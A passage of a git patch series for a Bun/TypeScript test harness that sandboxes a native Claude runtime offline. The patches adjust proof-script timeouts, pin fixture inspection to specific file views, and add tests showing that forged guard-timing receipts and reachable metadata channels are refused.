mount=Bun.spawnSync(["mount","--bind","/proc",path],{stdout:"pipe",stderr:"pipe"});expect(mount.exitCode,mount.stderr.toString()).toBe(0);mounted=true;} + const helper=Bun.spawn(["/usr/bin/python3","-I","-S",join(import.meta.dir,"../native-stage-metadata-channel.py"),JSON.stringify(config)],{env:{},stdout:"pipe",stderr:"pipe"});const errors=new Response(helper.stderr).text(); + try{ + const reader=helper.stdout.getReader(),ready=await reader.read();expect(new TextDecoder().decode(ready.value),"REAL_METADATA_CHANNEL_READY "+mode+(ready.done?await errors:"")).toContain('"ready":true');reader.releaseLock(); + const ticket={id,keeper:{pid:mode==="wrong-handle"?keeper.pid+1:keeper.pid,start:config.start,mountNamespaceInode:namespace},root:{dev:config.dev,ino:config.ino}}; + if(mode==="wrong-handle"||mode==="wrong-peer"){await expect(connectNativeStageMetadata(socket,ticket),"WRONG_STAGE_HANDLE_OR_PEER_REFUSES").rejects.toThrow();continue;} + const connected=connectNativeStageMetadata(socket,ticket);await expect(connected,"UNLINKED_CHANNEL_REQUIRED_BEFORE_INSPECTION").resolves.toBeDefined();channel=await connected; + if(mode==="cleanup"){helper.kill("SIGTERM");await helper.exited;} + if(mode==="expired"){keeper.kill("SIGKILL");await keeper.exited;} + const node=lstatSync(path,{bigint:true}),stamp=`${node.ino}:${node.size}:${node.mtimeNs}:${node.ctimeNs}`; + const readerIdentity={uid:21002,gids:[21001],root:source,forbidden:[],inspect:(relative:string,stamp:string,inode:string)=>{const value=channel!.inspect(relative,stamp,inode);if(mode==="dev-mismatch")value.worker.dev="0";if(mode==="ino-mismatch")value.worker.ino="0";if(mode==="schema")delete (value as Partial).worker;if(mode==="groups")value.worker.readerGids=[0];return value;}}; + const capture=()=>opaqueStageNode(path,rootMode?"":"unknown",mode==="exec-only"?"file":"directory",stamp,readerIdentity); + if(["cleanup","schema","groups","expired","symlink","foreign-mount","dev-mismatch","ino-mismatch","exec-only","search-only"].includes(mode)){expect(capture,"UNPROVEN_CHANNEL_NODE_REFUSES "+mode).toThrow();continue;} + const pinned=capture(); + if(mode==="later-readable"){chmodSync(path,0o755);expect(()=>recheckOpaqueStageNode(path,pinned,readerIdentity),"LATER_READABLE_CHANNEL_NODE_REFUSES").toThrow();continue;} + if(mode==="swapped"){rmSync(path,{recursive:true});mkdirSync(path,{mode:0o700});expect(()=>recheckOpaqueStageNode(path,pinned,readerIdentity),"SWAPPED_CHANNEL_NODE_REFUSES").toThrow();continue;} + if(mode==="root-swapped"){renameSync(source,source+"-retired");mkdirSync(source,{mode:0o700});expect(()=>recheckOpaqueStageNode(path,pinned,readerIdentity),"ROOT_SWAP_BETWEEN_IDENTITY_CHECKS_REFUSES").toThrow();continue;} + recheckOpaqueStageNode(path,pinned,readerIdentity); + const payload=`import os,socket,sys\np=${JSON.stringify(socket)}\nassert not os.path.lexists(p), 'UNSAFE_CHANNEL_BIND_VISIBLE'\ns=socket.socket(socket.AF_UNIX)\ntry:s.connect(p);raise AssertionError('UNSAFE_CHANNEL_REACHABLE')\nexcept FileNotFoundError:pass\nfor name in os.listdir('/proc/self/fd'):\n try:\n target=os.readlink('/proc/self/fd/'+name)\n except FileNotFoundError:continue\n info=os.fstat(int(name))\n assert (str(info.st_dev),str(info.st_ino))!=${JSON.stringify([channel.identity.dev,channel.identity.ino]).replace("[","(").replace("]",")")}, 'UNSAFE_CHANNEL_DESCRIPTOR'\nprint('METADATA_CHANNEL_UNREACHABLE_FROM_PAYLOAD')`; + const plan=nativeUnknownBoundary(["/bin/sh","-c",'exec "$@"',"odysseus-stage-channel","/usr/bin/python3","-I","-S","-c",payload]); + try{plan.beforeLaunch();const child=Bun.spawn(plan.argv,{env:plan.env,stdout:"pipe",stderr:"pipe"});plan.afterSpawn?.(child.pid);const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]);expect(code,err).toBe(0);expect(out,"CHANNEL_PATH_AND_FD_ABSENT_INSIDE_LAUNCH").toContain("METADATA_CHANNEL_UNREACHABLE_FROM_PAYLOAD");}finally{plan.dispose();} + }finally{ + channel?.close();try{helper.kill("SIGTERM");}catch{}await helper.exited;await errors;try{keeper.kill("SIGKILL");}catch{}await keeper.exited; + if(mounted)expect(Bun.spawnSync(["umount",path],{stdout:"pipe",stderr:"pipe"}).exitCode).toBe(0);rmSync(root,{recursive:true,force:true}); + } + } + console.log(JSON.stringify({nativeStageMetadata:"pass",cases:modes.length,contents:"never-read",socket:"unlinked",workerIdentity:"kernel-matched"})); +} diff --git a/scripts/prove-worker-identity.ts b/scripts/prove-worker-identity.ts index eb7099da0a..b65cfe9fb0 100644 --- a/scripts/prove-worker-identity.ts +++ b/scripts/prove-worker-identity.ts @@ -4,7 +4,7 @@ import { chmodSync, mkdtempSync, mkdirSync, readFileSync, realpathSync, writeFil import { createHash } from "node:crypto"; import { basename, dirname, join, resolve } from "node:path"; import { applicationQualificationSelected, applicationQualificationScenario, APPLICATION_SKIPPED_CONTROLS } from "../packages/ui-sdk/tests/fixtures/application-qualification.js"; -import { ordinaryIdentityPhases, IDENTITY_PHASE_TIMEOUT_MS, IDENTITY_CLEANUP_TIMEOUT_MS } from "../packages/ui-sdk/tests/fixtures/ordinary-identity-phases.js"; +import { ordinaryIdentityPhases, ordinaryIdentityPhaseTimeoutMs, IDENTITY_CLEANUP_TIMEOUT_MS } from "../packages/ui-sdk/tests/fixtures/ordinary-identity-phases.js"; import { SDK_RELAY_PROFILE_TIMEOUT_MS, SDK_RELAY_SINGLE_TURN_TIMEOUT_MS } from "../packages/ui-backend-claude/tests/fixtures/sdk-host-relay-limits.js"; import { ownedPruneVariant, ownedPruneDiagnosticSelected, bootPruneCaptureVariant, bootPruneCaptureSelected } from "./native-proof/owned-prune-variant.js"; import { dbRepeatStageVariant } from "./native-proof/db-repeat-variant.js"; @@ -94,13 +94,15 @@ export function identityNativeFixture(fixture: string, options: { applicationTim const { applicationTimeoutMs, sharedGit, privateGitInputs, applicationQualification, probeStatePlacement, applicationScenario, bootPruneCapture, omitProbeStatePlacement } = options; let text = changed(fixture, 'run(["/usr/local/bin/bun", "run", "test", str(pathlib.Path(__file__).with_name("hosted-app.test.ts"))], timeout=HOSTED_TIMEOUT)', - `run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/scripts/native-proof/identity-manager.native.ts"], timeout=180)\n run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts"], timeout=${applicationTimeoutMs / 1000})\n run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts"], timeout=180)\n run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts", "--cleanup-failure"], timeout=180)`); + `run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/scripts/native-proof/identity-manager.native.ts", "--preparation-proofs"], timeout=600)\n run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/scripts/native-proof/identity-manager.native.ts"], timeout=180)\n run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts"], timeout=${applicationTimeoutMs / 1000})\n run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts"], timeout=180)\n run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts", "--cleanup-failure"], timeout=180)`); if (sharedGit) { // A separate fresh-brain composition: the original default retains the // prior worker-private journal/recovery mutations and its failure evidence. const fresh = changed(text, ' run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/scripts/native-proof/identity-manager.native.ts"], timeout=180)\n', ""); - text = changed(fresh, + const withoutPreparationProofs = changed(fresh, + 'run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/scripts/native-proof/identity-manager.native.ts", "--preparation-proofs"], timeout=600)\n ', ""); + text = changed(withoutPreparationProofs, "/repo/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts", applicationQualification ? "/repo/packages/ui-sdk/tests/fixtures/application-identity-root.ts" : probeStatePlacement ? "/repo/packages/ui-sdk/tests/fixtures/probe-state-identity-root.ts" : privateGitInputs ? "/repo/packages/ui-sdk/tests/fixtures/private-git-identity-root.ts" : "/repo/packages/ui-sdk/tests/fixtures/shared-git-identity-root.ts"); } if (applicationScenario) text = changed(text, @@ -220,10 +222,10 @@ if (import.meta.main) { } const applicationPhases = ordinaryIdentityPhases({ applicationScenario, applicationQualification, probeStatePlacement, sharedGit, privateGitInputs }); - const applicationTimeoutMs = applicationPhases.length * IDENTITY_PHASE_TIMEOUT_MS + IDENTITY_CLEANUP_TIMEOUT_MS; + const applicationTimeoutMs = applicationPhases.reduce((total,phase)=>total+ordinaryIdentityPhaseTimeoutMs(phase),0) + IDENTITY_CLEANUP_TIMEOUT_MS; // Preserve the existing allowance for other work; account for the additional // sequential application phases and both complete SDK profiles when selected. - const containerTimeoutMs = 240_000 + Math.max(0, applicationTimeoutMs - 180_000) + const containerTimeoutMs = 240_000 + (sharedGit ? 0 : 600_000) + Math.max(0, applicationTimeoutMs - 180_000) + (nativePhaseOnly ? 0 : 2 * (SDK_RELAY_PROFILE_TIMEOUT_MS - SDK_RELAY_SINGLE_TURN_TIMEOUT_MS)); const nativeFixturePath = join(artifact, "identity-fixture.py"); writeFileSync(nativeFixturePath, identityNativeFixture(readFileSync(join(source, "scripts/native-proof/fixture.py"), "utf8"), { applicationTimeoutMs, From 76f5258a0a634011a0e21d837d194a0629f3ada5 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 09:55:19 +0000 Subject: [PATCH 129/187] fix(test): inspect live fixture entries through their pinned views --- .../fixtures/provider-request-shape-probe.ts | 4 +- scripts/native-test-receipts.ts | 6 ++- scripts/prove-worker-identity.ts | 2 +- scripts/test-native-guard.ts | 50 ++++++++++++------- tests/native-managed-inspection.test.ts | 9 +++- 5 files changed, 49 insertions(+), 22 deletions(-) diff --git a/packages/ui-backend-claude/tests/fixtures/provider-request-shape-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-request-shape-probe.ts index 1790e3150c..024a485e0f 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-request-shape-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-request-shape-probe.ts @@ -1,3 +1,4 @@ +import {nativeScriptedService} from "../../../../scripts/test-native-guard.ts"; /** * Production SDK assembly and hooks through the pinned runtime and Unix relay. * captureOffline isolates networking. This probe launches the runtime directly: @@ -50,6 +51,7 @@ const model = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { { type: "content_block_stop", index: 0 }, { type: "message_delta", delta: { stop_reason: step ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 1 } }, { type: "message_stop" }]; return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); +const closeFixtureAuthority=nativeScriptedService(model.url.origin,{fixtureRoots:[scratch],fixtureCredentials:{ANTHROPIC_API_KEY:"offline-odysseus"}}); const relay = startInferenceRelay({ upstream: model.url.origin, routes: ["/v1/messages"], credentials: { "x-api-key": "offline-odysseus" } }); linkSync(relay.socketPath, join(relay.dir, "inference.sock")); const proxy = Bun.serve({ unix: join(relay.dir, "proxy.sock"), fetch() { return new Response("Unused fixture proxy", { status: 403 }); } }); @@ -209,4 +211,4 @@ try { } } writeFileSync(join(scratch, "requests.json"), JSON.stringify(captures)); -} finally { restore(); proxy.stop(true); relay.stop(); model.stop(true); } +} finally { restore(); proxy.stop(true); relay.stop(); closeFixtureAuthority(); model.stop(true); } diff --git a/scripts/native-test-receipts.ts b/scripts/native-test-receipts.ts index 8f80c0ffe1..9b23b7c192 100644 --- a/scripts/native-test-receipts.ts +++ b/scripts/native-test-receipts.ts @@ -90,7 +90,11 @@ export function flushNativeReceipts():void { } export function nativeReceipt(value:Record):void { if(value.kind==="native-guard-interval"){ - const guard=createRequire(import.meta.url)("./test-native-guard.ts") as {isNativeGuardTimingReceipt(value:object):boolean}; + const issuer=(value as Record)[Symbol.for("brain-kit.test.guard-timing-issuer")]; + const expected=new URL("./test-native-guard.ts",import.meta.url);let url:URL; + try{url=new URL(String(issuer));}catch{throw Error("Unowned native guard timing interval refused");} + if(url.protocol!==expected.protocol||url.pathname!==expected.pathname||url.hash||url.search&&!/^\?[A-Za-z0-9_.=-]+$/.test(url.search))throw Error("Unowned native guard timing interval refused"); + const guard=createRequire(import.meta.url)(url.href) as {isNativeGuardTimingReceipt(value:object):boolean}; if(!guard.isNativeGuardTimingReceipt(value))throw Error("Unowned native guard timing interval refused"); } const sink=owner();if(!sink){ diff --git a/scripts/prove-worker-identity.ts b/scripts/prove-worker-identity.ts index df33081ceb..c1c4c995aa 100644 --- a/scripts/prove-worker-identity.ts +++ b/scripts/prove-worker-identity.ts @@ -108,7 +108,7 @@ export function identityNativeFixture(fixture: string, options: { applicationTim const withoutPreparationProofs = changed(fresh, 'run(["/usr/local/bin/bun", "--preload", "/repo/scripts/test-network-child-preload.ts", "/repo/scripts/native-proof/identity-manager.native.ts", "--preparation-proofs"], timeout=600)\n ', ""); const withoutMidWalk = changed(withoutPreparationProofs, - "run([\"/usr/local/bin/bun\", \"--preload\", \"/repo/scripts/test-network-child-preload.ts\", \"/repo/scripts/native-proof/identity-manager.native.ts\", \"--preparation-proofs\", \"--ordinary-mid-walk-proof\"], timeout=180)\\n ", ""); + "run([\"/usr/local/bin/bun\", \"--preload\", \"/repo/scripts/test-network-child-preload.ts\", \"/repo/scripts/native-proof/identity-manager.native.ts\", \"--preparation-proofs\", \"--ordinary-mid-walk-proof\"], timeout=180)\n ", ""); text = changed(withoutMidWalk, "/repo/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts", applicationQualification ? "/repo/packages/ui-sdk/tests/fixtures/application-identity-root.ts" : probeStatePlacement ? "/repo/packages/ui-sdk/tests/fixtures/probe-state-identity-root.ts" : privateGitInputs ? "/repo/packages/ui-sdk/tests/fixtures/private-git-identity-root.ts" : "/repo/packages/ui-sdk/tests/fixtures/shared-git-identity-root.ts"); } diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 1f69b11db2..e03c77c8f3 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -27,7 +27,8 @@ type GuardTimingInterval={kind:"native-guard-interval";operation:string;pid:numb const guardTimingIntervals:GuardTimingInterval[]=[],guardTimingReceipts=new WeakSet(); function recordGuardTiming(operation:string,startMs:number):void { if(!guardTimingOperations.has(operation))throw Error("Unlisted native guard timing operation"); - const interval:GuardTimingInterval=Object.freeze({kind:"native-guard-interval",operation,pid:process.pid,startMs,endMs:performance.now(),clock:"performance.now"}); + const interval:GuardTimingInterval={kind:"native-guard-interval",operation,pid:process.pid,startMs,endMs:performance.now(),clock:"performance.now"}; + Object.defineProperty(interval,Symbol.for("brain-kit.test.guard-timing-issuer"),{value:import.meta.url});Object.freeze(interval); guardTimingIntervals.push(interval);guardTimingReceipts.add(interval);nativeReceipt(interval); } function guardTiming(operation:string,run:()=>T):T {const began=performance.now();try{return run();}finally{recordGuardTiming(operation,began);}} @@ -192,8 +193,8 @@ function fixtureDescriptorHash(fd:number):{key:string;hash:string} { return {key,hash:digest}; } function fileHash(path:string):string { - const fd=openSync(path,constants.O_RDONLY|constants.O_NOFOLLOW); - try{const named=fixturePathKey(path),finding=fixtureDescriptorHash(fd);if(finding.key!==named||fixturePathKey(path)!==named)throw Error("Fixture file replaced during inspection");return finding.hash;}finally{closeSync(fd);} + const fd=openSync(path,constants.O_RDONLY|constants.O_NOFOLLOW|constants.O_NONBLOCK); + try{if(!fstatSync(fd).isFile())throw Error("Fixture finding requires a regular file");const named=fixturePathKey(path),finding=fixtureDescriptorHash(fd);if(finding.key!==named||fixturePathKey(path)!==named)throw Error("Fixture file replaced during inspection");return finding.hash;}finally{closeSync(fd);} } /** Read-only counters are proof of reuse, never an admission capability. */ export function nativeFixtureFileFinding(path:string):{key:string;hash:string}{const key=fixturePathKey(path),hash=fileHash(path);if(fixturePathKey(path)!==key)throw Error("Fixture file changed");return Object.freeze({key,hash});} @@ -244,11 +245,12 @@ function isNativeClaudeInspected(command:string,args:readonly unknown[],options: if (installedRuntimes.some(runtime => runtime.path === path)) return true; // Size eliminates ordinary fixture scripts and interpreters before hashing. try { - const metadata = statSync(path); + const access=managedDirectories.has(value)?candidate:path; + const metadata = statSync(access); if (!metadata.isFile()) continue; const size = metadata.size; const candidates = installedRuntimes.filter(runtime => {try{return statSync(runtime.path).size===size;}catch(error){if((error as NodeJS.ErrnoException).code==="ENOENT")return false;throw error;}}); - if (candidates.length && candidates.some(runtime => fileHash(runtime.path) === fileHash(path))) return true; + if (candidates.length && candidates.some(runtime => fileHash(runtime.path) === fileHash(access))) return true; } catch(error) { if(["ENOENT","ENAMETOOLONG"].includes((error as NodeJS.ErrnoException).code??""))continue;refuse("native executable metadata is unavailable"); } } return false; @@ -794,6 +796,9 @@ export function nativeDirectTransportCommand(command:readonly string[]):string[] /** Direct SDK launch: empty filesystem, fresh PID/network namespaces, one IPC. */ export function nativeClaudeBoundary(command: string, args: string[], options: { cwd?: string; env?: Record; receiptMode?:"restricted-probe" }): Boundary { + return guardTiming("plan-inspection",()=>nativeClaudeBoundaryInspected(command,args,options)); +} +function nativeClaudeBoundaryInspected(command: string, args: string[], options: { cwd?: string; env?: Record; receiptMode?:"restricted-probe" }): Boundary { if(fixtureProbeContext.getStore()||guardIdentityQualification.getStore())refuse("metadata-only probe cannot admit a native runtime"); qualify(); const env = options.env ?? process.env; @@ -859,7 +864,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { const audited = auditNativeLaunch(argv, options.receiptMode==="restricted-probe"?[executable]:expectedNativeExec(command, args, options), () => { readiness?.dispose();turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); },undefined,options.receiptMode==="restricted-probe"); beforeLaunch(); guardedPlans.add(audited.argv); - const boundary={ ...audited, env: {},forSynchronousSpawn():GuardedPlan{return refuse("synchronous native launch is unavailable");}, beforeLaunch(){beforeLaunch();audited.beforeLaunch();},afterSpawn(pid:number){audited.afterSpawn(pid);try{readiness?.afterSpawn(pid,beforeLaunch);}catch{refuse("native guard setup did not become ready");}} };guardedBoundaries.set(audited.argv,boundary);return boundary; + const boundary={ ...audited, env: {},forSynchronousSpawn():GuardedPlan{return refuse("synchronous native launch is unavailable");}, beforeLaunch(){guardTiming("launch-validation",()=>{beforeLaunch();audited.beforeLaunch();});},afterSpawn(pid:number){audited.afterSpawn(pid);try{readiness?.afterSpawn(pid,beforeLaunch);}catch{refuse("native guard setup did not become ready");}} };guardedBoundaries.set(audited.argv,boundary);return boundary; } catch (error) { readiness?.dispose();turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } } @@ -1213,8 +1218,8 @@ function assertNativeMountSockets(mounts: readonly string[], origin: string, kee } // Aliases into fixed distribution roots follow the same read-only policy; // aliases into unmounted storage are inaccessible in the child. - if (real !== path && SYSTEM.some(root => { try { return within(realpathSync(root), real); } catch { return false; } }) || !roots.some(root => within(root, real))) return true; - const info = lstatSync(real, { bigint: true }); + if (real !== path && SYSTEM.some(root => { try { return within(realpathSync(root), real); } catch { return false; } }) || !roots.some(root => within(realpathSync(root),real))) return true; + const access=inspectionAccessPath(path,keeper),info = lstatSync(access, { bigint: true }); if (info.isSocket()) { const peer = ownedSocketOrigin(real); const allowed = Boolean(peer && normalizedOrigin(peer) === normalizedOrigin(origin)); @@ -1225,7 +1230,7 @@ function assertNativeMountSockets(mounts: readonly string[], origin: string, kee const key = socketIdentity(info); if (visited.has(key)) return true; visited.add(key); - return readdirSync(real).every(name => visit(join(real, name))); + return readdirSync(access).every(name => visit(join(access, name))); }; try { if (roots.every(visit)) return; } catch (error) { metadataError = (error as NodeJS.ErrnoException).code ?? "UNKNOWN"; } refuse("fixture storage contains an unowned Unix socket or directory alias", { @@ -1450,7 +1455,7 @@ async function stageCaptureSlot():Promise<()=>void>{ const stageEntryKeys=new WeakMap,ReadonlyMap>(); const stageReadableKeys=new Set(); const stageFileBytes=new Map();let stageFileBytesSize=0; -const inPlaceFixtureFiles=new Map>(); +const inPlaceFixtureFiles=new Map>(); function stageMetadataKey(row:{path:string;kind:string;stamp:string;mode:number;bytes:number;inode:string},reader:StageReaderIdentity):string { const path=join(reader.root,row.path); try{ @@ -1466,8 +1471,17 @@ function stageMetadataKey(row:{path:string;kind:string;stamp:string;mode:number; } } function keeperCheckedFile(path:string,keeper:KeeperInspection|undefined):boolean { - if(!keeper?.managed)return false;const key=inPlaceFixtureFiles.get(path)?.get(keeper.snapshot);return key!==undefined&&fixturePathKey(path)===key; + if(!keeper?.managed)return false;const finding=inPlaceFixtureFiles.get(path)?.get(keeper.snapshot);return finding!==undefined&&fixturePathKey(finding.path)===finding.key; } +/** Canonical names prove containment; reads stay on the pinned reachable view. */ +function inspectionAccessPath(path:string,keeper:KeeperInspection|undefined):string { + const real=realpathSync(path); + if(keeper?.ordinary){for(const root of keeper.bindSources.values())if(within(root,path)&&within(realpathSync(root),real))return path;} + const finding=keeper?.managed?inPlaceFixtureFiles.get(real)?.get(keeper.snapshot):undefined; + if(finding){if(fixturePathKey(finding.path)!==finding.key)throw Error("In-place fixture entry changed");return finding.path;} + return real; +} + function rememberStageBytes(key:string,bytes:Buffer):void { if(bytes.length>16*1024**2)return; if(!stageFileBytes.has(key)){stageFileBytes.set(key,bytes);stageFileBytesSize+=bytes.length;} @@ -1520,7 +1534,7 @@ async function captureNativeFixtureStageInspected(manager:Pick();owners.set(snapshot,entryKey);inPlaceFixtureFiles.set(real,owners);inPlaceFiles++;return true; + symlinkSync(source,target);const real=realpathSync(source),owners=inPlaceFixtureFiles.get(real)??new Map();owners.set(snapshot,{key:entryKey,path:source});inPlaceFixtureFiles.set(real,owners);inPlaceFiles++;return true; }catch(error){if((error as NodeJS.ErrnoException).code!=="EACCES")throw error;return false;}finally{if(fd!==undefined)closeSync(fd);} }; // Reuse byte findings only for the same real worker UID/GIDs and full key. @@ -1890,7 +1904,7 @@ function workerKeeper(argv: readonly string[], bwrap: number): KeeperInspection } function inspectedWorkerSource(input: string, keeper?: KeeperInspection): string { const path=resolve(input); - return keeper && within(keeper.mount,path) ? realpathSync(join(keeper.snapshot,path.slice(keeper.mount.length))) : realpathSync(input); + return inspectionAccessPath(keeper&&within(keeper.mount,path)?join(keeper.snapshot,path.slice(keeper.mount.length)):input,keeper); } /** Only fixture-declared data, fixed runtime bytes and guard-created IPC enter a worker. */ @@ -1928,7 +1942,7 @@ function assertCheckpointBind(mounts:readonly string[],role?:NativeCheckpointRol if(count!==1)refuse("native checkpoint bind shape is invalid",{sourceKind:"product-checkpoint",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"}); } function ordinaryKeeperRoots(keeper:KeeperInspection|undefined):string[]{ - return keeper?.ordinary&&keeper.live()?[...keeper.bindSources.values()].map(path=>realpathSync(path)):[]; + return keeper?.ordinary&&keeper.live()?[...keeper.bindSources.values()]:[]; } function stageWorkerFixtureBinds(argv: string[], bwrap: number, route: ScriptedAuthority, guardRoot: string, keeper?: KeeperInspection, checkpoint?:NativeCheckpointRole): void { let staged = 0; @@ -1992,10 +2006,10 @@ function assertWorkerFixtureBinds(mounts: readonly string[], route: ScriptedAuth const visit=(path:string):void=>{ inspected=path; const opaque=opaqueStageSnapshots.get(path);if(opaque){opaque.check();return;} - const real=realpathSync(path),info=lstatSync(real); - if(info.isFile() && !keeperRoots.some(root=>within(root,real)) && !keeperCheckedFile(real,keeper) && !(checkpointRoot&&within(checkpointRoot,real))&&!(privateIndexRoot&&within(privateIndexRoot,real))&&!(copiedRoot&&within(copiedRoot,real))&&!workerSourceAllowed(real,route,guardRoot))refuse("worker file was not created or staged by the fixture"); + const real=realpathSync(path),access=inspectionAccessPath(path,keeper),info=lstatSync(access); + if(info.isFile() && !keeperRoots.some(root=>within(root,access)&&within(realpathSync(root),real)) && !keeperCheckedFile(real,keeper) && !(checkpointRoot&&within(checkpointRoot,real))&&!(privateIndexRoot&&within(privateIndexRoot,real))&&!(copiedRoot&&within(copiedRoot,real))&&!workerSourceAllowed(real,route,guardRoot))refuse("worker file was not created or staged by the fixture"); if(!info.isDirectory() || SYSTEM.some(root=>{try{return within(realpathSync(root),real);}catch{return false;}}) || visited.has(`${info.dev}:${info.ino}`))return; - visited.add(`${info.dev}:${info.ino}`);for(const name of readdirSync(real))visit(join(real,name)); + visited.add(`${info.dev}:${info.ino}`);for(const name of readdirSync(access))visit(join(access,name)); }; try { visit(source); } catch(error) { if(String(error).includes("Offline native Claude refused before launch:"))throw error; @@ -2060,7 +2074,7 @@ function nativeManagedCandidateDirectories(argv:readonly string[]):ReadonlyMap{ expect(timing.rawMs).toBe(end-start);expect(timing.guardMs).toBeGreaterThan(0);expect(timing.productMs,"PRODUCT_WORK_REMAINS_ON_PRODUCT_CLOCK").toBeGreaterThanOrEqual(15); expect(timing.guardMs).toBe(timing.intervals.reduce((sum,row)=>sum+row.endMs-row.startMs,0)); for(let i=1;inativeReceipt({kind:"native-guard-interval",operation:"stage-inspection",pid:process.pid,startMs:start,endMs:end,clock:"performance.now"}),"FAKE_GUARD_INTERVAL_CANNOT_HIDE_PRODUCT_WORK").toThrow("Unowned native guard timing interval refused"); + const fake={kind:"native-guard-interval",operation:"stage-inspection",pid:process.pid,startMs:start,endMs:end,clock:"performance.now"};Object.defineProperty(fake,Symbol.for("brain-kit.test.guard-timing-issuer"),{value:new URL("../scripts/test-native-guard.ts",import.meta.url).href}); + expect(()=>nativeReceipt(fake),"FAKE_GUARD_INTERVAL_CANNOT_HIDE_PRODUCT_WORK").toThrow("Unowned native guard timing interval refused"); }); test("runtime mask findings are reused after complete cheap key comparisons",async()=>{ @@ -215,3 +216,9 @@ describe("findings remain safe between tests in one process",()=>{ expect(nativeFixtureFindingCounts().inspected).toBe(before.inspected+1); }); }); + +test("a source-identical guard module keeps timing issuance private across query instances",async()=>{ + const variant=await import(new URL("../scripts/test-native-guard.ts?timing-fixture",import.meta.url).href),start=performance.now(); + expect(variant.isNativeClaude("/usr/bin/true")).toBe(false); + expect(variant.nativeFixtureGuardTiming(start,performance.now()).guardMs).toBeGreaterThan(0); +}); From e94a348195adce3c93ad0ca14a52fb74eb5f985a Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 10:11:04 +0000 Subject: [PATCH 130/187] test: record the enclosing guard interval once --- scripts/test-native-guard.ts | 18 ++++++++++++++---- tests/native-managed-inspection.test.ts | 8 ++++++++ 2 files changed, 22 insertions(+), 4 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index e03c77c8f3..d9b0202260 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -31,18 +31,25 @@ function recordGuardTiming(operation:string,startMs:number):void { Object.defineProperty(interval,Symbol.for("brain-kit.test.guard-timing-issuer"),{value:import.meta.url});Object.freeze(interval); guardTimingIntervals.push(interval);guardTimingReceipts.add(interval);nativeReceipt(interval); } -function guardTiming(operation:string,run:()=>T):T {const began=performance.now();try{return run();}finally{recordGuardTiming(operation,began);}} -async function guardTimingAsync(operation:string,run:()=>Promise):Promise{const began=performance.now();try{return await run();}finally{recordGuardTiming(operation,began);}} +const guardTimingContext=new AsyncLocalStorage<{active:boolean}>(); +function guardTiming(operation:string,run:()=>T):T { + if(guardTimingContext.getStore()?.active)return run(); + const scope={active:true},began=performance.now();try{return guardTimingContext.run(scope,run);}finally{scope.active=false;recordGuardTiming(operation,began);} +} +async function guardTimingAsync(operation:string,run:()=>Promise):Promise{ + if(guardTimingContext.getStore()?.active)return run(); + const scope={active:true},began=performance.now();try{return await guardTimingContext.run(scope,run);}finally{scope.active=false;recordGuardTiming(operation,began);} +} /** Read-only verifier: possession of a parsed or copied receipt grants nothing. */ export function isNativeGuardTimingReceipt(value:object):boolean{return guardTimingReceipts.has(value);} /** Union only genuine guard intervals, clipped to the measured product window. */ -export function nativeFixtureGuardTiming(startMs:number,endMs:number):{rawMs:number;guardMs:number;productMs:number;intervals:readonly {startMs:number;endMs:number}[]} { +export function nativeFixtureGuardTiming(startMs:number,endMs:number):{pid:number;windowStartMs:number;windowEndMs:number;rawMs:number;guardMs:number;productMs:number;intervals:readonly {startMs:number;endMs:number}[]} { if(!Number.isFinite(startMs)||!Number.isFinite(endMs)||startMs<0||endMsperformance.now())throw Error("Invalid native acknowledgement timing window"); const spans=guardTimingIntervals.filter(row=>row.pid===process.pid&&row.endMs>startMs&&row.startMs({startMs:Math.max(startMs,row.startMs),endMs:Math.min(endMs,row.endMs)})).sort((a,b)=>a.startMs-b.startMs); const union:{startMs:number;endMs:number}[]=[]; for(const row of spans){const last=union.at(-1);if(last&&row.startMs<=last.endMs)last.endMs=Math.max(last.endMs,row.endMs);else union.push({...row});} const guardMs=union.reduce((sum,row)=>sum+row.endMs-row.startMs,0),rawMs=endMs-startMs; - return 